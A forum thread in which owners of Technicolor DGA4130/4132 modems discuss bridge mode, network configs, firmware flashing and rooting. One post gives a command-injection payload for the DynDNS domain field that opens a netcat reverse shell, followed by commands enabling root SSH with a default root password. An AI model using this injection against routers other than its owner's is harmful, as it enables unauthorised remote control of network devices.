https://www.ebay.co.uk/itm/Latest-Telstra-Technicolor-TG800vac-Fibre-Wireless-NBN-Connection-Kit-Modem-264/352231865066

Some people here in the comments have successfully rooted the TG800:
https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/

Note:
the access to the ACS servers is working for everyone, even if you're not on the NBN network. We can download the 16.3 Firmware:
http://fwstore.bdms.telstra.net/Technicolor_vant-y_CRF690-16.3.7567-660-RD/vant-y_CRF690-16.3.7567-660-RD.rbi
So it is important to disable the CWMP.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 02, 2018, 02:26:47 PM
@shdf
Thanks for letting us know about this device.
I'm tempting to buy a TG800vac for myself but it's a little more pricey than the good old DGA4130 (which doesn't seem to be available at the moment)...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 02, 2018, 02:57:39 PM
it's more expensive, but there are more features, i think the wifi is faster if it's a bcm 4366 and There is a DECT support, + NFC
But if it is intended to be used as bridge, of course that's useless...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 02, 2018, 08:14:55 PM
@shdf
Do you have any idea how i can remove those static guest-wifi routes (wl0_1,wl1_1)?
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root@VDSL_Bridge:~# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.168.0   *               255.255.255.128 U     0      0        0 wl0_1
192.168.168.128 *               255.255.255.128 U     0      0        0 wl1_1
192.168.254.0   *               255.255.255.0   U     0      0        0 br-lan

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root@VDSL_Bridge:~# ping 192.168.168.1 -c3
PING 192.168.168.1 (192.168.168.1): 56 data bytes
64 bytes from 192.168.168.1: seq=0 ttl=64 time=0.705 ms
64 bytes from 192.168.168.1: seq=1 ttl=64 time=0.409 ms
64 bytes from 192.168.168.1: seq=2 ttl=64 time=0.406 ms

root@VDSL_Bridge:~# ping 192.168.168.129 -c3
PING 192.168.168.129 (192.168.168.129): 56 data bytes
64 bytes from 192.168.168.129: seq=0 ttl=64 time=0.766 ms
64 bytes from 192.168.168.129: seq=1 ttl=64 time=0.412 ms
64 bytes from 192.168.168.129: seq=2 ttl=64 time=0.402 ms


edit: I think that i've got it done with "ip route del" but im pretty sure these static routes will come back after a restart (can't test atm)...
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root@VDSL_Bridge:~# ip route del 192.168.168.0/25
root@VDSL_Bridge:~# ip route del 192.168.168.128/25
root@VDSL_Bridge:~# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.254.0   *               255.255.255.0   U     0      0        0 br-lan
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root@VDSL_Bridge:~# grep -r "192.168.168.1" /etc
/etc/config/dhcp:       list dhcp_option '6,192.168.168.1'
/etc/config/dhcp:       list dhcp_option '6,192.168.168.129'
/etc/config/firewall:   option dest_ip '192.168.168.1'
/etc/config/firewall:   option dest_ip '192.168.168.1'
/etc/config/firewall:   option dest_ip '192.168.168.129'
/etc/config/firewall:   option dest_ip '192.168.168.129'
/etc/config/network:    option ipaddr '192.168.168.1'
/etc/config/network:    option ipaddr '192.168.168.129'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 02, 2018, 09:34:42 PM
i think that as long as the interface exists in /etc/config/network and/or /etc/config/wireless then the route is created...if you don't need the guest wifi, just disable/delete it from both files
Do a backup of the files first  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 02, 2018, 10:53:30 PM
Thanks shdf, it worked ! I just deleted interface 'wlnet_b_24' + interface 'wlnet_b_5' from /etc/config/network and the static routes went away after reboot.
:dance:
So there is no need do delete them via "ip route delete" in the first place as they will come back after a reboot/network restart.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 03, 2018, 06:45:02 AM
so you deleted all wifi, not just the guest wifi ?

maybe just a :
   option enabled '0'
would be enough to disable the interface, that way you keep your setings if one day you want to enable the wifi.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 04, 2018, 12:06:48 PM
Yes, these were the only ones that i had in my network config...
I always duplicate the file via wscp an name it *.orig before i make any changes.
So in case i want to enable wifi one day i just put back my old config and restart the network.
Anyway i'll try it with option enabled '0'.

edit: It works !
option enabled '0' under each wifi interface + /etc/init.d/network restart
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 04, 2018, 12:43:17 PM
 :graduate:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 05, 2018, 06:54:24 AM
hi !
Looks like the DGA4132 (AGTHP) can be unlocked too  ;D
https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,78129.msg227276.html#msg227276
the vulnerable field in the GUI is the username in the Mobile tab.
(https://i.imgur.com/sLgy42I.png)

But actually i can't get it to work  >:(

EDIT:
ok so the exploit is executed on the modem when you insert the USB 3g/4g key, and you must have a working sim card in it.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 05, 2018, 01:08:55 PM
That would be some good news, but the provided link doesn't work for me.
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An Error Has Occurred!
The topic or board you are looking for appears to be either missing or off limits to you.
Btw, is it the exact same hardware (CPU,WLAN,RAM) as the DGA4130 ? The only difference is the extra SFP port ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 05, 2018, 03:53:11 PM
yes !

Actualy i can't test, i have a 3G key locked with an operator i'm not with anymore...if the key is not connecting to your ISP the pppd service is not started and the exploit is not executed...
i think this exploit should still work on the DGA4130 too, with firmware 1.04+ :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on January 05, 2018, 05:26:35 PM
epic

thanks :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 05, 2018, 06:06:42 PM
i unlocked my usb key and now i can access internet with it  ;D
but unfortunately, i can't make the exploit working...  >:( >:( >:(

Edit:
looks like the exploit works with the usb key HUAWEI E392:
https://www.amazon.fr/Huawei-E392-LTE-USB-Surfstick/dp/B0085C6IY2/

But not with:
ZTE K3565-Z
Huawei K4505

...

it's probably a matter of syntax with the driver command ?!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 06, 2018, 08:17:14 PM
Ok so this time we got it !!!  :cool:

(https://i.imgur.com/RK7VLqp.png)

It works in the DGA4132 !! so we can root it as well  :D  :D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 06, 2018, 10:13:14 PM
 :thumbs: :thumbs: :clap: :clap:
Did you manage to get it work through DynDNS ?
So no need for a USB-stick ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 06, 2018, 10:33:58 PM
:thumbs: :thumbs: :clap: :clap:
Did you manage to get it work through DynDNS ?
So no need for a USB-stick ?
YES !!!!!  ;D  ;D i can confirm, it works on my DGA4132 firmware 1.0.3 ( Technicolor 17.1)
it should work on the DGA4130 too.

So no need for a USB-stick ?
No, this is another exploit too complicated to set up :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 06, 2018, 10:49:29 PM
As the unlocker tool is not working for this exploit, you have to use netcat on your PC.
For windows: https://eternallybored.org/misc/netcat/
Linux users already have it.

So in a command shell type : nc -lvvp 1337 to listen to the port 1337
now let's say your PC iP is : 192.168.1.10
in the dyndns tile, in the domain field type this : test.com;nc 192.168.1.10 1337 -e /bin/sh &
Enable the dyndns service, and click Save.
(https://i.imgur.com/wPJyAtH.png)

Now in your command shell you should see this :
(https://i.imgur.com/ZpTWqSL.png)

You have the root access now  :) so let's enable SSH :
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sed -i 's/0/1/' /etc/config/dropbear
sed -i 's/off/on/' /etc/config/dropbear
sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd

and restart dropbear:
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/etc/init.d/dropbear restart

(https://i.imgur.com/uGomA9B.png)

Now you can access your modem with SSH as root (user/pass root/root)
(https://i.imgur.com/Pzl1I9h.png)
 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 06, 2018, 11:21:36 PM
Awesome News !! :dance::dance::dance: :love:
Now i have to get myself another DGA modem... ;)

Maybe you should open a fresh thread about this device.
I've also spotted a new thread with a guide on how to downgrade "any" firmware version (without root or serial), it would be great to write down the steps in english !
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 07, 2018, 01:17:45 PM
How to upgrade/downgrade your firmware on DGA413x even if the modem is not rooted.
this is the Teddyraspin76 method, all credits to him  :)
In this tutorial my DGA413x IP is 192.168.1.253

First, you need Chrome or Firefox to find the sessionID and the CSRFtoken. And Postman https://www.getpostman.com/ to send the firmware to the modem.

1) With Firefox or Chrome, enable the debug mode by hitting F12
2) Go to your modem ip address and login
(https://i.imgur.com/hLjaA1m.png)

3) in the file list select mobiletab.lua, and now on the right, in the cookie tab you can see your sessionID

4) in the next tab called "parametters" you'll see your CSRFtoken
(https://i.imgur.com/hifJz89.png)(https://i.imgur.com/9WUArqc.png)

5) copy both values. Don't close Firefox/Chrome else we will close the session.

6) Start Postman, insert your router address : http://192.168.1.x and click SEND
(https://i.imgur.com/Gixlkqq.png)

7) Now click on cookies (below the SEND button). it will open a window, click on sessionID to display the cookie content.
(https://i.imgur.com/P4ViGFo.png)

8) Replace the value of the sessionID with the one you copied at step#5, click SAVE and close the window.
9) Now in Postman replace the GET by POST
(https://i.imgur.com/jO0YNoM.png)

10) Click on body
(https://i.imgur.com/xeFi4YU.png)

11) Add the CSRFtoken key and the value you copied at step #5
(https://i.imgur.com/XtD1T46.png)

12)Below CSRFtoken add a new key called "upgradefile", and on the dropdown menu on the right, select file.
(https://i.imgur.com/iXqu4C7.png)

13) now click the button and select your firmware file.
(https://i.imgur.com/eSgcp5h.png)

14) replace the link with http://192.168.1.x/modals/gateway-modal.lp?action=upgradefw and click the SEND button.
use your modem ip address !
(https://i.imgur.com/l089Nk1.png)

15) Wait the file will be sent, it will be flashed and the modem will reboot.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on January 09, 2018, 11:19:38 AM
We have been away for a few days and unplugged the modem on return the GUI and internet were inaccessible.

I was using v1.04 of the firmware and 3.25 GUI.

I had to reset using the rear reset button which left the firmware intact and unlocked but reverted to the original GUI.

I updated to GUI 3.9 then tried to update to one of the v4 GUI using putty commands the GUI would update but when entering the Gateway tab all the fields were empty and on the initial log on screen there was no firmware version present just dashes.

I tried a different version of GUI  and after the log in screen the modem would be inaccessible again.

I have reset and reverted back to 1.03 firmware and GUI 3.9 set everything up ready to reconnect and left powered off overnight to test, this morning I could log in to the modem as normal but the modem started up in bridge mode. I am concerned something is corrupted due to inability to update to the latest GUI and powering off for a few hours the modem starts in a different mode.

Is there something I am doing incorrectly or a better procedure I should follow to resolve the problems

Thanks
         Dave

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: gazaai on January 09, 2018, 11:56:14 AM
Looks like an interesting thread here!

Do you guys recommend this DGA4130 for UK use? I'm looking to replace my Billion 8800nl.

Most likely will be used in bridge mode unless the router functionality is good too.

Oh and monitoring the stats is a must, does it have any issues with telnet?

Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 09, 2018, 03:49:00 PM
... but when entering the Gateway tab all the fields were empty and on the initial log on screen there was no firmware version present just dashes.

I tried a different version of GUI  and after the log in screen the modem would be inaccessible again.

it happened to me already, when i'm hacking too much in the modem  :)
usually updating once again the GUI from putty :

bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force

+ Reboot solves the problem.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 09, 2018, 03:53:55 PM
For everyone, there is now a new swiss tool for the technicolor modems, which allow you to Upgrade/downgrade it (even if it is not rooted !!) it's the automated version of my post above  :)
and it can also Root your device.
Look here : http://whrl.pl/Re4rV2

So basicaly if you check "Flash Firmware?" it will flash the new Firmware + Root the device. if you don't check "Flash Firmware?" then it will only ROOT the device.

(https://i.imgur.com/O6UvZSB.png)

You can get the AutoFlashGui from the italian repository:
http://repository.ilpuntotecnicoeadsl.com/files/mavelot/Firmware/Tools/autoflashgui.zip

or from my Mega :
https://mega.nz/#F!3FVBVa6b!VyA03zN6oQf88ZiRJsWTbA
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on January 09, 2018, 04:08:29 PM
That's great, thank you!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 09, 2018, 05:40:46 PM
@roseway
could you update the first page with a link to this new method to unlock the device ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on January 09, 2018, 06:43:34 PM
Done :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 09, 2018, 07:16:08 PM
 ;) Thank you
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 09, 2018, 07:30:51 PM
The new unlock tool looks very promising !! Thanks a bunch !
Now a custom gui would be nice... with a button to activate bridge modem. ;)
Or is it allready built into the official firmware ?
My 4132 should arrive the next 3-4 days...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 09, 2018, 08:29:43 PM
the custom GUI for the DGA4130 works in the DGA4132, so there is a Bridge mode available  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 10, 2018, 12:07:01 AM
Great ! ;)

Did you tried fw 1.1.0_001_closed by any chance ?
Im still interested to try the new dsl driver but i read before that upgrading to 1.1.0_001 is kinda risky...
But it shouldn't be too risky anymore right, because of the easy downgrade solution ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 10, 2018, 07:19:18 AM
i don't remember now but when i tried it nothing worked, i had to go back to 1.0.3 with tftpd, i don't even know what the gui looks like and what was new in this firmware...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: gazaai on January 10, 2018, 09:14:35 AM
What's the difference between the DGA4130 and DGA4132?

I've just purchased a DGA4130 and wonder if that's now been a mistake
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 10, 2018, 10:58:38 AM
the DGA4130 :
4 LAN + 1 WAN

the DGA4132 :
3 LAN + 1 WAN/LAN + 1 SFP port
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 10, 2018, 05:35:00 PM
Quote from: shdf
i don't even know what the gui looks like and what was new in this firmware...
Well at least the xdsl driver is new...  ;)
Have you checked the local pingtimes with CPU auto (256), are they the same as with the DGA4130 ?
Quote from: gazaai
I've just purchased a DGA4130 and wonder if that's now been a mistake
Definitely not a mistake, the DGA4130 is a great device and i dont think that you will make much use of the SFP port...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: gazaai on January 10, 2018, 06:25:53 PM
Ok thanks for the letting me know what is different shdf and Lil-Koby.

And I wont make use of the SFP port so wont make a difference to me.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 10, 2018, 06:43:23 PM
@Lil-Koby
it was not working at all, no gui access, i think it was going in bootloop...so i had to go back with tftp
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on January 10, 2018, 08:37:03 PM
Received my DGA4130 a couple weeks ago but only just getting the time to play with it.

Got it running 1.0.3 and GUI 4.5.10

Question.... How on Earth do I set this up for Bride mode in the UK?
I can't find any screen where i turn the VLAN off.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 10, 2018, 10:17:07 PM
if you don't see it in the gui then you can always remove the vlan from the wan interface in /etc/config/network ?
that hacked GUI unfortunatefly have many bugs, i can't count how many people are complaining about the bridge, why not use it in routed mode ?

For bridge mode, refer to my post here :
http://forum.kitz.co.uk/index.php/topic,20343.msg360921.html#msg360921
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 11, 2018, 02:29:14 AM
@shdf
Imho there is no need to use the DGA4130 as a router if you allready own a good dual-core router with a decent firmware...
I'm pretty sure j0hn wants to use his Asus RT-AC68U@Merlin firmware as the main router, which is completly understandable.
Personaly I would't swap my Archer C2600@LEDE as the main router with the DGA4130 either.
Mainly because of the many functions that im currently using and the complexity of my setup.
On top the C2600 is way too powerfull to degrade it as a simple switch with Wifi access point and DMZ or double NAT wouldn't be an option for me. ;)

@j0hn
You should be able to deactivate the vlan tag within the GUI. Look at the Broadband section under "Inernet channel". If it's not avalible try to install another GUI version...
At the moment i'm quite happy with version 3.36 but keep in mind that there is a bug with versions over 3.25 where the GUI shows "Bridge Disable" even tho the bridge mode will work fine without any problems. As a workaround you could try my config from the following post: Link (http://forum.kitz.co.uk/index.php/topic,20343.msg361483.html#msg361483)
Or just install version 3.25, which hasn't got this visual "bridge disabled" bug...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: gazaai on January 12, 2018, 09:17:37 AM
Well after hours of flashing firmware and gui updates, finally got it to become stable. Version 1.0.4 and the latest GUI.

Couldn't get 1.1.0 to boot for some reason.

I kept having an issue where the custom GUI would only show 6 or so tiles after changing the settings for my setup and restarting.
This was no use as I couldn't get into the port forwarding section etc whenever I wanted to.

In the end I kept saving config files before each individual setting and tracked it down to the Setup Wizard so I had to end up just changing the broadband settings manually in the 'network' config file.

And all is well. Not as good as a sync rate as my Billion 8800nl but the FEC errors seem to be wayyy lower and now my line might actually be more stable and hopefully the INP value will decrease now.

Thanks for the help in this guide btw :fingers:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 12, 2018, 02:37:25 PM
@gazaai
I'm glad that you got it working ! ;)

Hopefully there will be some (useable) xdsl driver improvements in the future...
I think the BCM63138 should perform on par with your BCM63168 based 8800nl.
Do you happen to know your Linecard Vendor ID and version ? (check with DSL stats or telnet/ssh via xdslctl info --vendor)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: gazaai on January 12, 2018, 06:34:15 PM
@gazaai
I'm glad that you got it working ! ;)

Hopefully there will be some (useable) xdsl driver improvements in the future...
I think the BCM63138 should perform on par with your BCM63168 based 8800nl.
Do you happen to know your Linecard Vendor ID and version ? (check with DSL stats or telnet/ssh via xdslctl info --vendor)
(https://i.gyazo.com/02163c8bb9c02df6dfcf550694b33a51.png)

hmm. cant get port forwarding to work this is a must, also Upnp doesn't seem to work either.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 12, 2018, 06:57:27 PM
@gazaai
BDCM:0xb12d = Broadcom 177.45 and the DGA4130 should work quite well with this type of Linecard.
Can't help you regarding portforwarding and upnp, i only use this device in bridge mode in front of my main router...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 14, 2018, 06:53:27 PM
i just tested the Driver from the latest asus AC88u, but also by replacing the files xdslctl, xtmctl, dsldiagd...I thought I had bricked my dga4130 :no:, it went in bootloop and the reset button was not doing anything...i reflashed the firmware 1.0.3 with TFTP which didn't change anything, was i on bank2 ?? i don't remember because with all the tests done with autoflashgui, etc...maybe i was moved on bank2...
Finaly by hitting this reset button at different timings during the boot sequence it decided to work  :)
morality: don't play with these drivers !  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: gazaai on January 17, 2018, 01:30:03 PM
@gazaai
BDCM:0xb12d = Broadcom 177.45 and the DGA4130 should work quite well with this type of Linecard.
Can't help you regarding portforwarding and upnp, i only use this device in bridge mode in front of my main router...
Alright that is good then.
I've went ahead and bought a Linksys WRT3200ACM to pair up with the DGA4130.
What is the best way to configure the DGA4130 to work in bridge mode?

Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on January 18, 2018, 02:16:07 PM
if you don't see it in the gui then you can always remove the vlan from the wan interface in /etc/config/network ?
How on Earth do I do that? This things driving me nuts. I just want it to run in Bridge mode.

Do I just remove the line
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option vid '835'
edit: doesn't disable the vlan, just removes the vlan id.
It won't allow sync.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on January 18, 2018, 02:32:09 PM
Hi John, the new gui is broken when it comes to bridge mode with no vlan and the person who made it Ansuel has droppped off the face of the earth. Hopefully he is OK! He has done a great job so far.

This is one of the various configs I have tried which should work if you replace what you have in the network file, backup first.

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config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'waneth4'
option type '8021q'
option name 'waneth4'
option macaddr '10:13:31:xx:xx:xx'
option ifname 'eth4'
option vid '835'
option ipv6 '0'

config device 'wanptm0'
option name 'wanptm0'
option macaddr '10:13:31:xx:xx:xx'  < yours
option ipv6 '0'

config interface 'wan'
option macaddr '10:13:31:xx:xx:xx' <----
option ifname 'ptm0'   <------

config config 'config'
option wan_mode 'bridge   <-----

config interface 'wwan'
option auto '1'
option proto 'mobiled'
option session_id '0'
option profile '1'
option enabled '0'

config interface 'wan6'
option proto 'dhcpv6'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option noslaaconly '1'
option iface_464xlat '0'
option auto '0'
option dns_metric '20'
option ifname '@wan_ipv6'
option enabled '0'

config interface 'lan'
option type 'bridge'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
option pppoerelay 'ptm0' <-- not sure this is needed I dont think so
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'
list ifname 'ptm0'  <-------

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

config interface 'wlnet_b_24'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '1'
option netmask '255.255.255.128'
option ipaddr '192.168.168.1'
option ifname 'wl0_1'
option force_link '0'
option name 'Ospiti-TIM-24068835'

config interface 'wlnet_b_5'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '2'
option netmask '255.255.255.128'
option ipaddr '192.168.168.129'
option ifname 'wl1_1'
option force_link '0'
option name 'Ospiti-TIM-24068835'

config device 'wlnet_b_5eth5'
option type '8021q'
option name 'wl1_1'
option enabled '0'
option ifname 'eth5'
option vid '3'
option ipv6 '0'

config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'b

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on January 18, 2018, 03:49:33 PM
I appreciate the help from both of you.
Finally got this junk to sync.

I can't recommend this modem to anyone who wishes to use it in bridge mode.
It will NOT allow my router to establish a PPP connection, period.
I've tried over and over.
If I already have a WAN IP and quickly switch to this modem then It works. What good is that though?
I had to downgrade to a much older GUI to get the VLAN to remove. You can't get sync in the UK with the VLAN active + bridge mode set.
It syncs lower than my Zyxel VMG1312-B10A
The Max Attainable in nearly 2Mb lower downstream, and 0.4Mb upstream.

Firmware is unbearably buggy.
Every 2nd menu spews an error when I hit save.

In full modem/router mode I can't get UPNP/port forwarding working.
IPV6 doesn't work with BT.

Purchased from Amazon.FR so free extended returns till 1st Feb (purchased December 2nd, gotta love Amazon).
Will be posting it back to France tonight!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on January 18, 2018, 03:56:23 PM
What's the easiest way to unroot + restore stock firmware?
Amazon aren't likely to check but somebody's gonna buy it at some point.
I'd rather return it as I received it.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on January 18, 2018, 04:13:16 PM
I think there is an option within the gui.

I have not been using mine as I cant expect my wife to swap modems then swap them back again every time there is an interruption in connectivity when I am not in.

The Technicolor TG589VAC V2 behaves the same in my scenario but at the least the stock gui works fine and has a bridge mode.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 22, 2018, 09:12:13 PM
Hi !
@Lil-Koby

Here is how to safely use the latest Firmware AGTEF_1.1.0_002_CLOSED.rbi (and test the latest DSL driver ;D).

1) from your actual firmware, with Winscp, delete both folders /overlay/bank_1 and /overlay/bank_2
2) with AutoFlashGui, flash the latest Firmware AGTEF_1.1.0_002_CLOSED.rbi (no need to try to root it)
3) once the new firmware is flashed and the modem finished to reboot, with AutoFlashGui downgrade to AGTEF_1.0.3_CLOSED.rbi
4) Now you have one Passive Bank with firmware 1.1.0_002 and one active bank with Firmware 1.0.3
5) So you are now on Firmware 1.0.3, do the Root process with AutoFlashGui.
6) With putty you can now check which is the inactive bank, the inactive bank is where the Firmware 1.1.0 is installed.
do a cat /proc/banktable/inactive
7) so let's say your inactive bank is bank_1, then we are going to edit some files in /overlay/bank_1/etc/ to enable the root.

8) in /overlay/bank_1/etc/passwd and /overlay/bank_1/etc/passwd- overwrite the first line with :
root:x:0:0:root:/root:/bin/ash

9) in /overlay/bank_1/etc/shadow and /overlay/bank_1/etc/shadow- overwrite the first line with what you have in /etc/shadow and /etc/shadow-

10) in /overlay/bank_1/etc/config/dropbear
Code: [Select]
config dropbear 'lan'
option IdleTimeout '600'
option PasswordAuth 'on'
option Port '22'
option Interface 'lan'
option RootPasswordAuth 'on'
option enable '1'

config dropbear 'wan'
option enable '0'
option IdleTimeout '600'
option PasswordAuth 'on'
option Port '22'
option Interface 'wan'

11) ok, so now from putty you can do a switchover, this will switch you on the other bank and reboot the modem on firmware 1.1.0 Rooted  :)
12) now you can configure your network in /etc/config/network  :)

The modded GUI is not working with Firmware 1.1.0, someone tried and he said it was crashing.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 25, 2018, 10:29:29 AM
Once you've installed the Firmware 1.1.x now it would be cool to unlock the tiles and all the features in the GUI that TIM locked.

with winscp make a copy of your /etc/config/web and create a new /etc/config/web file with this inside:

Code: [Select]
config assistance 'remote'
option user 'assist'
option sessionmgr 'assistance'

config sessionmgr 'default'
option passpath '/password'
option timeout '30'
option authpath '/authenticate'
list users 'usr_guest'
list users 'usr_admin'
option cookiepath '/'
option ruleset 'ruleset_main'
option loginpath '/login.lp'

config sessionmgr 'assistance'
option passpath '/password'
option timeout '30'
option authpath '/authenticate'
list users 'usr_assist'
option cookiepath '/'
option ruleset 'ruleset_main'
option loginpath '/login.lp'

config uiconfig 'uidefault'
option nsplink 'http://www.technicolor.com'
option defaultuser 'admin'
option upgradefw '1'

config user 'usr_guest'
option name 'guest'
option srp_verifier 'xxxxxxxxxx'
option role 'guest'
option srp_salt 'xxxxxxxxxx'

config user 'usr_admin'
option name 'admin'
option role 'engineer'
option password_reminder '0'
option srp_verifier 'xxxxxxxxxx'
option srp_salt 'xxxxxxxxxx'

config user 'usr_assist'
option name 'assist'
option role 'admin'

config ruleset 'ruleset_main'
list rules 'assistancemodal'
list rules 'bridgegroupingmodal'
list rules 'broadbandmodal'
list rules 'contentsharing'
list rules 'cwmpconf'
list rules 'devicemodal'
list rules 'diagnosticsconnectionmodal'
list rules 'diagnosticsnetworkmodal'
list rules 'diagnosticspingmodal'
list rules 'diagnosticstcpdumpmodal'
list rules 'diagnosticsxdslmodal'
list rules 'ethernetmodal'
list rules 'firewallmodal'
list rules 'gateway'
list rules 'gatewaymodal'
list rules 'homepage'
list rules 'hostmapmodal'
list rules 'internetmodal'
list rules 'iproutesmodal'
list rules 'logconnectionsmodal'
list rules 'login'
list rules 'logroutingtablemodal'
list rules 'lteajaxmobiletab'
list rules 'lteajaxsim'
list rules 'lteajaxsms'
list rules 'ltedoctor'
list rules 'ltedoctorajax'
list rules 'ltedoctormodal'
list rules 'ltemodal'
list rules 'ltenetworkscan'
list rules 'lteprofiles'
list rules 'lteradioparameters'
list rules 'ltesim'
list rules 'ltesms'
list rules 'mmpbxajaxvoicetab'
list rules 'mmpbxcodecTImodal'
list rules 'mmpbxcontactsmodal'
list rules 'mmpbxdectmodal'
list rules 'mmpbxglobalmodal'
list rules 'mmpbxinoutgoingmodal'
list rules 'mmpbxlogmodal'
list rules 'mmpbxprofilemodal'
list rules 'mmpbxservicemodal'
list rules 'mmpbxsipdevice'
list rules 'mmpbxstatistics'
list rules 'mwan'
list rules 'natalghelper'
list rules 'parentalmodal'
list rules 'password'
list rules 'printersharing'
list rules 'relaymodal'
list rules 'syslogmodal'
list rules 'systemmodal'
list rules 'todmodal'
list rules 'todwifimodal'
list rules 'trafficmonitor'
list rules 'usermgrmodal'
list rules 'wanservices'
list rules 'wifinursemodal'
list rules 'wirelessclientmodal'
list rules 'wirelessmodal'
list rules 'wirelessqrcodemodal'
list rules 'xdsllowmodal'

config rule 'gateway'
option target '/gateway.lp'
list roles 'guest'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxdectmodal'
option target '/modals/mmpbx-dect-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'login'
option target '/login.lp'
list roles 'guest'
list roles 'admin'
list roles 'engineer'

config rule 'password'
option target '/password.lp'
list roles 'admin'
